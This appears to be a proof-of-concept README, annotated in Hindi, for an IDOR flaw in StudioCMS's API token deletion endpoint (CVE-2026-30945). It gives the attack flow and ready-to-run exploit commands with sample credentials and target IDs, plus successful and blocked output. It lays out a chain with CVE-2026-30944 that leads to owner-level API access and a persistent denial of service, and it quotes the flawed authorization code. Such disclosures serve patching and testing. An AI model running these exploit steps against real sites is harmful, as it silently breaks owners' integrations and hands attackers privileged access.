┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   Attacker   │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   Server     │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  Owner's     │
                                              │  CI/CD       │
                                              │  Pipeline    │──► ❌ 401 Unauthorized
                                              │  Integration │──► ❌ API Access Lost
                                              │  Monitoring  │──► ❌ Silent Failure
                                              └──────────────┘

pip install requests colorama

# मालिक से संबंधित एक विशिष्ट टोकन निरस्त करें
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# CVE-2026-30944 के साथ श्रृंखला: पहले लक्ष्य के लिए टोकन बनाएं
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# परिणाम JSON में सहेजें
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

# कई भूमिकाओं के साथ परीक्षण करें
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] 'editor01' के रूप में प्रमाणित
  [*] सत्र उपयोगकर्ता: editor01 (editor)
  [*] सत्र UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] लक्ष्य UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] टोकन ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] लक्ष्य का API टोकन निरस्त किया जा रहा है...
  [+] टोकन निरस्त! सर्वर प्रतिक्रिया: Token deleted
  [!] भेद्यता की पुष्टि — टोकन सफलतापूर्वक निरस्त!
  [!] लक्ष्य उपयोगकर्ता के API एकीकरण अब टूट गए हैं (DoS)

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] लक्ष्य UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] टोकन ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] लक्ष्य का API टोकन निरस्त किया जा रहा है...
  [*] पहुंच अस्वीकृत (403 Forbidden) — एंडपॉइंट पैच किया जा सकता है
  [-] निरस्तीकरण विफल: पहुंच अस्वीकृत (403 Forbidden)

चरण 1: मालिक का वैध टोकन निरस्त करें    (CVE-2026-30945)
   └──► मालिक के CI/CD पाइपलाइन चुपचाप टूट जाते हैं

चरण 2: मालिक के लिए नया टोकन उत्पन्न करें       (CVE-2026-30944)
   └──► हमलावर के पास अब मालिक-स्तरीय API पहुंच है

चरण 3: मालिक समाधान के लिए नया टोकन बनाता है
   └──► हमलावर इसे फिर से निरस्त करता है (लगातार DoS)

// [1] केवल जांचता है कि कॉलर editor है — नहीं कि वे किसके लिए टोकन हटा रहे हैं
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] दोनों मान अनुरोध निकाय से — सत्र के विरुद्ध कोई सत्यापन नहीं
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // कोई स्वामित्व जांच नहीं
    userID: string;     // कोई पहचान जांच नहीं
}>(ctx);

// [3] सीधे विनाशकारी ऑपरेशन में भेजा गया — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

npm install studiocms@latest